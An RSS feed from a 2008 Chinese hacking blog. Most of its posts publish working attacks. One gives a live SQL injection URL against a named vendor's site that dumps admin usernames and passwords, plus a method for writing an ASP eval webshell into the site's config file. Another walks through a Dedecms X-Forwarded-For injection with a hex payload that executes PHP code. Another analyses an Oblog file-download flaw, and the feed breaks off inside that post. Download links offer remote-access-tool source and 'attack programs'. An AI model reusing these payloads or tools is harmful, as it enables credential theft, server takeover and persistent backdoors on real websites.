<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title>XoL-!'s Security Blog</title>
		<link>http://www.tsbct.com/</link>
		<description>没有做不到的事,只有不想做的事,多尝试就会找到你想要的答案。</description>
		<copyright>Copyright (C) 2004 Security Angel Team [S4T] All Rights Reserved.</copyright>
		<generator>SaBlog-X Version 1.6 Build 20080806</generator>
		<lastBuildDate>Thu, 20 Nov 2008 06:10:23 +0000</lastBuildDate>
		<ttl>30</ttl>
		<item>
			<guid>http://www.tsbct.com/?action=show&amp;id=11</guid>
			<title>发个0day 南方数据企业最新注入漏洞</title>
			<author>XoL-!</author>
			<description><![CDATA[<p><font color="#ff0000"><span class="t_tag" onclick="tagshow(event)" href="tag.php?name=%D4%AD%B4%B4">原创</span>作品，转载请注明来源，谢谢。<br />
**************************<br />
By：XoL-!<br />
</font><a href="http://www.tsbct.com/" target="_blank">http://www.tsbct.com</a><br />
<font color="#ff0000">**************************</font></p>
<p>发现日期:</p>
<p style="margin-left: 40px">2008-09-25<br />
影响版本: v10.0 v11.0</p>
<p>Exploit:</p>
<p style="margin-left: 40px"><a href="http://www.southidc.net/0791idc11Q/NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20''='">http://www.southidc.net/0791idc11Q/NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20''='</a></p>
<p>获取shell方法:</p>
<p style="margin-left: 40px">&nbsp;在网站配置[http://www.target.com/admin/SiteConfig.asp]的版权信息里写入&quot;%&gt;&lt;%eval(request(chr(35)))%&gt;&lt;%'<br />
成功把shell写入<a href="http://www.target.com/inc/config.asp">http://www.target.com/inc/config.asp</a></p>]]></description>
			<link>http://www.tsbct.com/?action=show&amp;id=11</link>
			<category domain="http://www.tsbct.com/?cid=2">技术文档</category>
			<pubDate>2008-09-25 03:39</pubDate>
		</item>
		<item>
			<guid>http://www.tsbct.com/?action=show&amp;id=10</guid>
			<title>招聘熟悉反汇编/分析程序</title>
			<author>XoL-!</author>
			<description><![CDATA[<p>条件:</p>
<p>1.熟悉反汇编.</p>
<p>2.熟悉程序分析..</p>
<p>3.人品正直.有团队意识..</p>
<p>待遇:</p>
<p>面议..</p>
<p>联系方式:</p>
<p>QQ:274417</p>
<p>E-mail:tsbct@qq.com</p>]]></description>
			<link>http://www.tsbct.com/?action=show&amp;id=10</link>
			<category domain="http://www.tsbct.com/?cid=1">生活随笔</category>
			<pubDate>2008-08-06 19:32</pubDate>
		</item>
		<item>
			<guid>http://www.tsbct.com/?action=show&amp;id=9</guid>
			<title>最近太忙,域名到期了,都忘记续费了</title>
			<author>XoL-!</author>
			<description><![CDATA[<p>最近太忙,域名到期了,都忘记续费了..</p>
<p>昨晚刚刚续费..哦耶..今天可以使用了...</p>
<p><img alt="" border="0" src="http://www.tsbct.com/images/smiles/laugh.gif" /><img alt="" border="0" src="http://www.tsbct.com/images/smiles/laugh.gif" /></p>]]></description>
			<link>http://www.tsbct.com/?action=show&amp;id=9</link>
			<category domain="http://www.tsbct.com/?cid=1">生活随笔</category>
			<pubDate>2008-07-22 18:32</pubDate>
		</item>
		<item>
			<guid>http://www.tsbct.com/?action=show&amp;id=8</guid>
			<title>PCSHARE VIP 2005源代码</title>
			<author>XoL-!</author>
			<description><![CDATA[<p><a href="http://www.tsbct.com/attachment.php?id=13" title="1.56 M, 下载次数:936" target="_blank">vippcshare.rar</a></p>]]></description>
			<link>http://www.tsbct.com/?action=show&amp;id=8</link>
			<category domain="http://www.tsbct.com/?cid=5">资源共享</category>
			<pubDate>2008-05-21 20:58</pubDate>
		</item>
		<item>
			<guid>http://www.tsbct.com/?action=show&amp;id=7</guid>
			<title>Dedecms getip()的漏洞利用</title>
			<author>XoL-!</author>
			<description><![CDATA[<p>author: superhei<br />
team:http://www.ph4nt0m.org<br />
blog:http://superhei.blogbus.com<br />
<br />
flyh4t在非安全发布了dedecms getip()的注射漏洞，漏洞本身的成因没什么好说的老掉牙的X-Forwarded-For的问题，我想这个漏洞很多人都找到了，不过这个漏洞的利用有个地方还是可以说说的，可以直接得到shell：<br />
<br />
在用户登陆后把用户信息写如了缓存：\include\inc_memberlogin.php&nbsp;</p>
<div class="codeText">
<div class="codeHead">PHP代码</div>
<ol class="dp-c">
    <li class="alt"><span><span class="keyword">function</span><span>&nbsp;FushCache(</span><span class="vars">$mid</span><span>=0) &nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(</span><span class="func">empty</span><span class="keyword">empty</span><span>(</span><span class="vars">$mid</span><span>))&nbsp;</span><span class="vars">$mid</span><span>&nbsp;=&nbsp;</span><span class="vars">$this</span><span>-&gt;M_ID; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$dsql</span><span>&nbsp;=&nbsp;</span><span class="keyword">new</span><span>&nbsp;DedeSql(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$row</span><span>&nbsp;=&nbsp;</span><span class="vars">$dsql</span><span>-&gt;GetOne(</span><span class="string">&quot;Select&nbsp;ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm&nbsp;From&nbsp;#@__member&nbsp;where&nbsp;ID='{$mid}'&nbsp;&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(</span><span class="func">is_array</span><span>(</span><span class="vars">$row</span><span>)) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$scrow</span><span>&nbsp;=&nbsp;</span><span class="vars">$dsql</span><span>-&gt;GetOne(</span><span class="string">&quot;Select&nbsp;titles&nbsp;From&nbsp;#@__scores&nbsp;where&nbsp;integral&lt;={$row['scores']}&nbsp;order&nbsp;by&nbsp;integral&nbsp;desc&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$row</span><span>[</span><span class="string">'honor'</span><span>]&nbsp;=&nbsp;</span><span class="vars">$scrow</span><span>[</span><span class="string">'titles'</span><span>]; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(</span><span class="func">is_array</span><span>(</span><span class="vars">$row</span><span>))&nbsp;</span><span class="keyword">return</span><span>&nbsp;WriteUserInfos(</span><span class="vars">$mid</span><span>,</span><span class="vars">$row</span><span>);&nbsp;</span><span class="comment">//这里 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">else</span><span>&nbsp;</span><span class="keyword">return</span><span>&nbsp;</span><span class="string">''</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;}&nbsp;&nbsp;</span></li>
</ol>
</div>
<p>WriteUserInfos()的代码：<br />
<br />
//写入用户的会话信息</p>
<div class="codeText">
<div class="codeHead">PHP代码</div>
<ol class="dp-c">
    <li class="alt"><span><span class="keyword">function</span><span>&nbsp;WriteUserInfos(</span><span class="vars">$uid</span><span>,</span><span class="vars">$row</span><span>) &nbsp;&nbsp;</span></span></li>
    <li class=""><span>{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;</span><span class="vars">$tpath</span><span>&nbsp;=&nbsp;</span><span class="func">ceil</span><span>(</span><span class="vars">$uid</span><span>/5000); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;</span><span class="vars">$ndir</span><span>&nbsp;=&nbsp;dirname(</span><span class="keyword">__FILE__</span><span>).</span><span class="string">&quot;/cache/user/$tpath/&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(!</span><span class="func">is_dir</span><span>(</span><span class="vars">$ndir</span><span>)){ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="func">mkdir</span><span>(</span><span class="vars">$ndir</span><span>,0777); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="func">chmod</span><span>(</span><span class="vars">$ndir</span><span>,0777); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;</span><span class="vars">$userfile</span><span>&nbsp;=&nbsp;</span><span class="vars">$ndir</span><span>.</span><span class="vars">$uid</span><span>.</span><span class="string">'.php'</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;</span><span class="vars">$infos</span><span>&nbsp;=&nbsp;</span><span class="string">&quot;&lt;&quot;</span><span>.</span><span class="string">&quot;?php\r\n&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;</span><span class="vars">$infos</span><span>&nbsp;.=&nbsp;</span><span class="string">&quot;\$cfg_userinfos['wtime']&nbsp;=&nbsp;'&quot;</span><span>.mytime().</span><span class="string">&quot;';\r\n&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">foreach</span><span>(</span><span class="vars">$row</span><span>&nbsp;</span><span class="keyword">as</span><span>&nbsp;</span><span class="vars">$k</span><span>=&gt;</span><span class="vars">$v</span><span>){ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(</span><span class="func">ereg</span><span>(</span><span class="string">'[^0-9]'</span><span>,</span><span class="vars">$k</span><span>)){ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$v</span><span>&nbsp;=&nbsp;</span><span class="func">str_replace</span><span>(</span><span class="string">&quot;'&quot;</span><span>,</span><span class="string">&quot;\\'&quot;</span><span>,</span><span class="vars">$v</span><span>);&nbsp;</span><span class="comment">//这个是利用的关键&nbsp;:) </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$v</span><span>&nbsp;=&nbsp;</span><span class="func">ereg_replace</span><span>(</span><span class="string">&quot;(&lt;\?|\?&gt;)&quot;</span><span>,</span><span class="string">&quot;&quot;</span><span>,</span><span class="vars">$v</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$infos</span><span>&nbsp;.=&nbsp;</span><span class="string">&quot;\$cfg_userinfos['{$k}']&nbsp;=&nbsp;'{$v}';\r\n&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;</span><span class="vars">$infos</span><span>&nbsp;.=&nbsp;</span><span class="string">&quot;\r\n?&quot;</span><span>.</span><span class="string">&quot;&gt;&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;@</span><span class="vars">$fp</span><span>&nbsp;=&nbsp;</span><span class="func">fopen</span><span>(</span><span class="vars">$userfile</span><span>,'w'); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;@</span><span class="func">flock</span><span>(</span><span class="vars">$fp</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;@fwrite(</span><span class="vars">$fp</span><span>,</span><span class="vars">$infos</span><span>); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;@fclose(</span><span class="vars">$fp</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>&nbsp;</span><span class="vars">$infos</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>}&nbsp;&nbsp;</span></li>
</ol>
</div>
<p>我们构造</p>
<div class="codeText">
<div class="codeHead">PHP代码</div>
<ol class="dp-c">
    <li class="alt"><span><span class="vars">$ipp</span><span>=</span><span class="string">&quot;121.11.11.1',uname=0x68656967655C273B706870696E666F28293B2F2F,uptime='1&quot;</span><span>; &nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>mysql&gt;&nbsp;select&nbsp;0x68656967655C273B706870696E666F28293B2F2F; &nbsp;&nbsp;</span></li>
    <li class=""><span>+--------------------------------------------+ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>|&nbsp;0x68656967655C273B706870696E666F28293B2F2F&nbsp;| &nbsp;&nbsp;</span></li>
    <li class=""><span>+--------------------------------------------+ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>|&nbsp;heige\';phpinfo();</span><span class="comment">//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;| </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>+--------------------------------------------+ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>1&nbsp;row&nbsp;in&nbsp;set&nbsp;(0.00&nbsp;sec)&nbsp;&nbsp;</span></li>
</ol>
</div>
<p>利用流程：</p>
<p>A:</p>
<div class="codeText">
<div class="codeHead">PHP代码</div>
<ol class="dp-c">
    <li class="alt"><span><span class="keyword">else</span><span>{&nbsp;</span><span class="comment">//成功登录 </span><span>&nbsp;&nbsp;</span></span></li>
    <li class=""><span class="comment">//$ipp=&quot;121.11.11.1',uname=0x68656967655C273B706870696E666F28293B2F2F,uptime='1&quot;; </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$dsql</span><span>-&gt;ExecuteNoneQuery(</span><span class="string">&quot;update&nbsp;#@__member&nbsp;set&nbsp;logintime='&quot;</span><span>.mytime().</span><span class="string">&quot;',loginip='&quot;</span><span>.</span><span class="vars">$ipp</span><span>.</span><span class="string">&quot;'&nbsp;where&nbsp;ID='{$row['ID']}';&quot;</span><span>);&nbsp;&nbsp;</span></li>
</ol>
</div>
<p>B：FushCache()</p>
<div class="codeText">
<div class="codeHead">PHP代码</div>
<ol class="dp-c">
    <li class="alt"><span><span class="vars">$row</span><span>&nbsp;=&nbsp;</span><span class="vars">$dsql</span><span>-&gt;GetOne(</span><span class="string">&quot;Select&nbsp;ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm&nbsp;From&nbsp;#@__member&nbsp;where&nbsp;ID='{$mid}'&nbsp;&quot;</span><span>);&nbsp;&nbsp;</span></span></li>
</ol>
</div>
<p>C：WriteUserInfos()</p>
<div class="codeText">
<div class="codeHead">PHP代码</div>
<ol class="dp-c">
    <li class="alt"><span><span>heige\</span><span class="string">';phpinfo();//&nbsp;---str_replace--&gt;heige\\';phpinfo();//---fwrite---&gt;heige\\';phpinfo();// </span>&nbsp;</span></li>
    <li class=""><span>&nbsp;</span></li>
    <li class="alt"><span><span class="string">===&gt;$cfg_userinfos['</span><span>uname</span><span class="string">']&nbsp;=&nbsp;'</span><span>heige\\</span><span class="string">';phpinfo();//'</span><span>;&nbsp;完美闭和前面的'&nbsp;:)&nbsp;&nbsp;</span></span></li>
</ol>
</div>
<p>其中str_replace的部分相当于代码：</p>
<div class="codeText">
<div class="codeHead">PHP代码</div>
<ol class="dp-c">
    <li class="alt"><span><span>&lt;?php &nbsp;&nbsp;</span></span></li>
    <li class=""><span class="vars">$v</span><span>=</span><span class="string">&quot;heige\';phpinfo();//&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span class="vars">$v</span><span>&nbsp;=&nbsp;</span><span class="func">str_replace</span><span>(</span><span class="string">&quot;'&quot;</span><span>,</span><span class="string">&quot;\\'&quot;</span><span>,</span><span class="vars">$v</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>print&nbsp;</span><span class="vars">$v</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>?&gt;&nbsp;&nbsp;</span></li>
</ol>
</div>
<p>整个过程其实就是一个很完整的&quot;二次攻击&quot;，而str_replace(&quot;'&quot;,&quot;\\'&quot;,$v);起了关键性的作用 :)<br minmax_bound="true" />
<br minmax_bound="true" />
[因为这个漏洞当我pc上有那么段时间了，这个文章很多都是凭记忆写的，可能有错误，有兴趣的同学可以自己跟一下。]</p>]]></description>
			<link>http://www.tsbct.com/?action=show&amp;id=7</link>
			<category domain="http://www.tsbct.com/?cid=2">技术文档</category>
			<pubDate>2008-05-18 18:13</pubDate>
		</item>
		<item>
			<guid>http://www.tsbct.com/?action=show&amp;id=6</guid>
			<title>发布两个非常2B的攻击程序</title>
			<author>XoL-!</author>
			<description><![CDATA[<p>风云攻击程序8.0</p>
<p>生成器密码:fengyun</p>
<p><img alt="" src="http://www.91qsf.com/bj8.jpg" /></p>
<p>风云攻击程序9.0</p>
<p><img alt="" src="http://www.91qsf.com/bj9-2.jpg" /></p>
<p>&nbsp;</p>
<p><strong><font color="#0000ff">下载地址</font></strong></p>
<p><a href="http://www.tsbct.com/attachment.php?id=12" title="149.94 K, 下载次数:109" target="_blank">fy8.rar</a></p>
<p><a href="http://www.tsbct.com/attachment.php?id=11" title="178.16 K, 下载次数:84" target="_blank">fy9.rar</a></p>
<p>&nbsp;</p>]]></description>
			<link>http://www.tsbct.com/?action=show&amp;id=6</link>
			<category domain="http://www.tsbct.com/?cid=5">资源共享</category>
			<pubDate>2008-05-14 10:33</pubDate>
		</item>
		<item>
			<guid>http://www.tsbct.com/?action=show&amp;id=5</guid>
			<title>真的补了吗 Oblog漏洞重现</title>
			<author>XoL-!</author>
			<description><![CDATA[<p>http://www.target.com/attachment.asp?path=./conn.asp这样已经无法下载文件，我从官方下载了最新版本4.60 Final Build080403 Access(集成了attachment.asp补丁)，发现修改后的代码并不能解决问题,OBlog任意文件下载漏洞依然存在。具体看attachment.asp代码。<br />
########################################################################<br />
关键部分：</p>
<div class="codeText">
<div class="codeHead">ASP/Visual Basic代码</div>
<ol class="dp-vb">
    <li class="alt"><span><span>Path&nbsp;=&nbsp;Trim(Request(</span><span class="string">&quot;path&quot;</span><span>))&nbsp;</span><span class="comment">'获取用户提交的路径 </span><span>&nbsp;&nbsp;</span></span></li>
    <li class=""><span>FileID&nbsp;=&nbsp;Trim(Request(</span><span class="string">&quot;FileID&quot;</span><span>)) &nbsp;&nbsp;</span></li>
    <li class="alt"><span class="keyword">If</span><span>&nbsp;FileID&nbsp;=</span><span class="string">&quot;&quot;</span><span>&nbsp;</span><span class="keyword">And</span><span>&nbsp;Path&nbsp;=&nbsp;</span><span class="string">&quot;&quot;</span><span>&nbsp;</span><span class="keyword">Then</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Write&nbsp;</span><span class="string">&quot;参数不足&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.</span><span class="keyword">End</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="keyword">End</span><span>&nbsp;</span><span class="keyword">If</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>... &nbsp;&nbsp;</span></li>
    <li class=""><span class="keyword">If</span><span>&nbsp;CheckDownLoad&nbsp;&nbsp;</span><span class="keyword">Or</span><span>&nbsp;1=&nbsp;1Then &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">If</span><span>&nbsp;Path&nbsp;=&nbsp;</span><span class="string">&quot;&quot;</span><span>&nbsp;</span><span class="keyword">Then</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set&nbsp;rs&nbsp;=&nbsp;Server.CreateObject(</span><span class="string">&quot;ADODB.RecordSet&quot;</span><span>) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;link_database &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SQL&nbsp;=&nbsp;(</span><span class="string">&quot;select&nbsp;file_path,userid,file_ext,ViewNum&nbsp;FROM&nbsp;oblog_upfile&nbsp;WHERE&nbsp;FileID&nbsp;=&nbsp;&quot;</span><span class="keyword">CLng</span><span>(FileID)) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.open&nbsp;sql,conn,1,3 &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">If</span><span>&nbsp;</span><span class="keyword">Not</span><span>&nbsp;rs.Eof&nbsp;</span><span class="keyword">Then</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;uid&nbsp;=&nbsp;rs(1) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;file_ext&nbsp;=&nbsp;rs(2) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs(</span><span class="string">&quot;ViewNum&quot;</span><span>)&nbsp;=&nbsp;rs(</span><span class="string">&quot;ViewNum&quot;</span><span>)&nbsp;+&nbsp;1 &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.Update &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;downloadFile&nbsp;Server.MapPath(rs(0)),0 &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Else</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Status=404 &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Write&nbsp;</span><span class="string">&quot;该附件不存在!&quot;</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">End</span><span>&nbsp;</span><span class="keyword">If</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rs.Close &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Set</span><span>&nbsp;rs&nbsp;=&nbsp;</span><span class="keyword">Nothing</span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">Else</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">If</span><span>&nbsp;InStr(path,Oblog.CacheConfig(56))&nbsp;&gt;&nbsp;0&nbsp;</span><span class="keyword">Then</span><span>&nbsp;</span><span class="comment">'Tr4c3标注：注意这里，仅仅判断用户提交的路径是否包含UploadFiles，为真则调用downloadfile函数下载文件 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;downloadFile&nbsp;Server.MapPath(Path),1 &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">End</span><span>&nbsp;if &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">End</span><span>&nbsp;</span><span class="keyword">If</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="keyword">Else</span><span>&nbsp;&nbsp;</span></li>
